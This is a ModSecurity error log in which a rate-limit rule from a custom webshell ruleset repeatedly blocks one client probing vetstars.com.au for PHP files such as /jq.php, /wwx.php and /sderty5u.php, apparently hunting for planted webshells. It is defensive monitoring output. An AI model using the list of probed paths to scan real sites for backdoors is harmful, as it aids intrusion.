[Fri Apr 24 17:07:33.658770 2026] [:error] [pid 17808:tid 17834] [client 51.103.42.147:29669] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "aesy1earbOEFI8qshvLjiQAAAFg"]
[Fri Apr 24 17:07:34.333319 2026] [:error] [pid 22114:tid 22135] [client 51.103.42.147:30596] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "aesy1oAuWGz3WlMQjofGCgAAARI"]
[Fri Apr 24 17:07:35.268337 2026] [:error] [pid 17720:tid 17771] [client 51.103.42.147:56792] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jq.php"] [unique_id "aesy1-hlUs6BS3Ng7_U-mAAAANE"]
[Fri Apr 24 17:07:37.918618 2026] [:error] [pid 17808:tid 17832] [client 51.103.42.147:50309] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jq.php"] [unique_id "aesy2earbOEFI8qshvLjkgAAAFY"]
[Fri Apr 24 17:07:39.325066 2026] [:error] [pid 17719:tid 17734] [client 51.103.42.147:30191] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jq.php"] [unique_id "aesy28TZ9gzEyL1BkPp7WAAAAIc"]
[Fri Apr 24 17:07:40.045470 2026] [:error] [pid 17719:tid 17748] [client 51.103.42.147:52087] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jq.php"] [unique_id "aesy3MTZ9gzEyL1BkPp7WQAAAJU"]
[Fri Apr 24 17:07:41.091416 2026] [:error] [pid 14531:tid 14534] [client 51.103.42.147:57350] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cro.php"] [unique_id "aesy3XfLU2gw-6KR-GaHogAAAUE"]
[Fri Apr 24 17:07:41.791148 2026] [:error] [pid 14531:tid 14548] [client 51.103.42.147:52045] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cro.php"] [unique_id "aesy3XfLU2gw-6KR-GaHpwAAAU8"]
[Fri Apr 24 17:07:43.299088 2026] [:error] [pid 14531:tid 14539] [client 51.103.42.147:30104] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cro.php"] [unique_id "aesy33fLU2gw-6KR-GaHrAAAAUY"]
[Fri Apr 24 17:07:44.218983 2026] [:error] [pid 22114:tid 22137] [client 51.103.42.147:57318] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cro.php"] [unique_id "aesy4IAuWGz3WlMQjofGDgAAARQ"]
[Fri Apr 24 17:07:45.013017 2026] [:error] [pid 17719:tid 17738] [client 51.103.42.147:34249] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwx.php"] [unique_id "aesy4cTZ9gzEyL1BkPp7XgAAAIs"]
[Fri Apr 24 17:07:47.078374 2026] [:error] [pid 17808:tid 17816] [client 51.103.42.147:30987] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwx.php"] [unique_id "aesy4-arbOEFI8qshvLjmQAAAEY"]
[Fri Apr 24 17:07:48.328498 2026] [:error] [pid 17808:tid 17834] [client 51.103.42.147:57378] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwx.php"] [unique_id "aesy5OarbOEFI8qshvLjnAAAAFg"]
[Fri Apr 24 17:07:49.075989 2026] [:error] [pid 17721:tid 17793] [client 51.103.42.147:48497] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwx.php"] [unique_id "aesy5eFXXkLeyDnfk_8FMgAAAAw"]
[Fri Apr 24 17:07:50.094992 2026] [:error] [pid 17720:tid 17763] [client 51.103.42.147:30626] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aesy5uhlUs6BS3Ng7_U-wgAAAMk"]
[Fri Apr 24 17:07:51.236437 2026] [:error] [pid 17808:tid 17825] [client 51.103.42.147:30602] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aesy5-arbOEFI8qshvLjngAAAE8"]
[Fri Apr 24 17:07:52.450201 2026] [:error] [pid 17720:tid 17772] [client 51.103.42.147:30161] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aesy6OhlUs6BS3Ng7_U-yQAAANI"]
[Fri Apr 24 17:07:54.106961 2026] [:error] [pid 17721:tid 17788] [client 51.103.42.147:51487] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "aesy6uFXXkLeyDnfk_8FPAAAAAc"]
[Fri Apr 24 17:07:55.214293 2026] [:error] [pid 17808:tid 17831] [client 51.103.42.147:50348] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aesy6-arbOEFI8qshvLjoAAAAFU"]
[Fri Apr 24 17:07:56.244562 2026] [:error] [pid 17808:tid 17813] [client 51.103.42.147:52051] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aesy7OarbOEFI8qshvLjqQAAAEM"]
[Fri Apr 24 17:07:58.959223 2026] [:error] [pid 17720:tid 17767] [client 51.103.42.147:29679] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aesy7uhlUs6BS3Ng7_U-2AAAAM0"]
[Fri Apr 24 17:08:01.132526 2026] [:error] [pid 17808:tid 17823] [client 51.103.42.147:63185] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blox.php"] [unique_id "aesy8earbOEFI8qshvLjuQAAAE0"]
[Fri Apr 24 17:08:02.777542 2026] [:error] [pid 17720:tid 17754] [client 51.103.42.147:50344] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/berax.php"] [unique_id "aesy8uhlUs6BS3Ng7_U-4AAAAMA"]
[Fri Apr 24 17:08:07.251692 2026] [:error] [pid 17720:tid 17755] [client 51.103.42.147:63189] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/berax.php"] [unique_id "aesy9-hlUs6BS3Ng7_U-5wAAAME"]
[Fri Apr 24 17:08:08.287098 2026] [:error] [pid 17720:tid 17768] [client 51.103.42.147:65314] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/berax.php"] [unique_id "aesy-OhlUs6BS3Ng7_U-6wAAAM4"]
[Fri Apr 24 17:08:09.387483 2026] [:error] [pid 17808:tid 17818] [client 51.103.42.147:34262] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/berax.php"] [unique_id "aesy-earbOEFI8qshvLjyQAAAEg"]
[Fri Apr 24 17:09:03.788833 2026] [:error] [pid 22114:tid 22141] [client 51.103.42.147:57372] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saxzw9t.php"] [unique_id "aeszL4AuWGz3WlMQjofGNgAAARg"]
[Fri Apr 24 17:09:05.546184 2026] [:error] [pid 17719:tid 17739] [client 51.103.42.147:65320] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saxzw9t.php"] [unique_id "aeszMcTZ9gzEyL1BkPp7gwAAAIw"]
[Fri Apr 24 17:09:06.598054 2026] [:error] [pid 14531:tid 14548] [client 51.103.42.147:50358] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saxzw9t.php"] [unique_id "aeszMnfLU2gw-6KR-GaIDAAAAU8"]
[Fri Apr 24 17:09:10.033384 2026] [:error] [pid 14531:tid 14557] [client 51.103.42.147:57394] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saxzw9t.php"] [unique_id "aeszNnfLU2gw-6KR-GaIDwAAAVg"]
[Fri Apr 24 17:09:10.937765 2026] [:error] [pid 17720:tid 17775] [client 51.103.42.147:51490] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sder5252u.php"] [unique_id "aeszNuhlUs6BS3Ng7_U_YQAAANU"]
[Fri Apr 24 17:09:12.575153 2026] [:error] [pid 17720:tid 17761] [client 51.103.42.147:30164] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sder5252u.php"] [unique_id "aeszOOhlUs6BS3Ng7_U_ZwAAAMc"]
[Fri Apr 24 17:09:13.611466 2026] [:error] [pid 17721:tid 17804] [client 51.103.42.147:30176] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sder5252u.php"] [unique_id "aeszOeFXXkLeyDnfk_8FewAAABc"]
[Fri Apr 24 17:09:15.125573 2026] [:error] [pid 14531:tid 14556] [client 51.103.42.147:51483] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sder5252u.php"] [unique_id "aeszO3fLU2gw-6KR-GaIEwAAAVc"]
[Fri Apr 24 17:09:17.253428 2026] [:error] [pid 17720:tid 17766] [client 51.103.42.147:34242] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sderty5u.php"] [unique_id "aeszPehlUs6BS3Ng7_U_cAAAAMw"]
[Fri Apr 24 17:09:18.743391 2026] [:error] [pid 17720:tid 17776] [client 51.103.42.147:50305] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sderty5u.php"] [unique_id "aeszPuhlUs6BS3Ng7_U_dgAAANY"]
[Fri Apr 24 17:09:21.082426 2026] [:error] [pid 17808:tid 17822] [client 51.103.42.147:52068] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sderty5u.php"] [unique_id "aeszQearbOEFI8qshvLkYQAAAEw"]
[Fri Apr 24 17:09:22.046012 2026] [:error] [pid 17808:tid 17820] [client 51.103.42.147:50307] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sderty5u.php"] [unique_id "aeszQuarbOEFI8qshvLkYwAAAEo"]
[Fri Apr 24 17:09:26.110627 2026] [:error] [pid 17808:tid 17834] [client 51.103.42.147:34277] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hilk.php"] [unique_id "aeszRuarbOEFI8qshvLkaQAAAFg"]
[Fri Apr 24 17:09:27.073494 2026] [:error] [pid 17719:tid 17732] [client 51.103.42.147:34281] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hilk.php"] [unique_id "aeszR8TZ9gzEyL1BkPp7lAAAAIU"]
[Fri Apr 24 17:09:28.698308 2026] [:error] [pid 14531:tid 14544] [client 51.103.42.147:31027] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hilk.php"] [unique_id "aeszSHfLU2gw-6KR-GaIHQAAAUs"]
[Fri Apr 24 17:09:31.735539 2026] [:error] [pid 17720:tid 17771] [client 51.103.42.147:65281] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hilk.php"] [unique_id "aeszS-hlUs6BS3Ng7_U_fgAAANE"]
[Fri Apr 24 17:09:35.436636 2026] [:error] [pid 17720:tid 17756] [client 51.103.42.147:63179] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/miso.php"] [unique_id "aeszT-hlUs6BS3Ng7_U_iwAAAMI"]
[Fri Apr 24 17:09:36.524682 2026] [:error] [pid 17808:tid 17816] [client 51.103.42.147:65297] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/miso.php"] [unique_id "aeszUOarbOEFI8qshvLkeAAAAEY"]
[Fri Apr 24 17:09:38.336960 2026] [:error] [pid 17808:tid 17826] [client 51.103.42.147:56811] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/miso.php"] [unique_id "aeszUuarbOEFI8qshvLkfAAAAFA"]
[Fri Apr 24 17:09:39.519535 2026] [:error] [pid 17808:tid 17825] [client 51.103.42.147:30199] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/miso.php"] [unique_id "aeszU-arbOEFI8qshvLkfwAAAE8"]
[Fri Apr 24 17:09:40.683553 2026] [:error] [pid 17721:tid 17801] [client 51.103.42.147:63200] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeszVOFXXkLeyDnfk_8FjwAAABQ"]
[Fri Apr 24 17:09:41.491254 2026] [:error] [pid 17808:tid 17818] [client 51.103.42.147:52076] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeszVearbOEFI8qshvLkgwAAAEg"]
[Fri Apr 24 17:09:44.374565 2026] [:error] [pid 17808:tid 17815] [client 51.103.42.147:30118] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeszWOarbOEFI8qshvLkhQAAAEU"]
[Fri Apr 24 17:09:46.366779 2026] [:error] [pid 17808:tid 17812] [client 51.103.42.147:51496] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aeszWuarbOEFI8qshvLkhwAAAEI"]
[Fri Apr 24 17:09:47.302438 2026] [:error] [pid 22114:tid 22118] [client 51.103.42.147:31007] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/checkout.php"] [unique_id "aeszW4AuWGz3WlMQjofGXgAAAQE"]
[Fri Apr 24 17:09:49.092421 2026] [:error] [pid 17808:tid 17820] [client 51.103.42.147:31023] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/checkout.php"] [unique_id "aeszXearbOEFI8qshvLkiQAAAEo"]
[Fri Apr 24 17:09:49.992620 2026] [:error] [pid 22114:tid 22139] [client 51.103.42.147:56784] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/checkout.php"] [unique_id "aeszXYAuWGz3WlMQjofGXwAAARY"]
[Fri Apr 24 17:09:52.151068 2026] [:error] [pid 14531:tid 14554] [client 51.103.42.147:51514] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/checkout.php"] [unique_id "aeszYHfLU2gw-6KR-GaIPwAAAVU"]
[Fri Apr 24 17:09:54.457466 2026] [:error] [pid 17720:tid 17761] [client 51.103.42.147:50327] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fictioner.php"] [unique_id "aeszYuhlUs6BS3Ng7_U_rAAAAMc"]
[Fri Apr 24 17:09:55.376589 2026] [:error] [pid 17721:tid 17800] [client 51.103.42.147:34275] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fictioner.php"] [unique_id "aeszY-FXXkLeyDnfk_8FmwAAABM"]
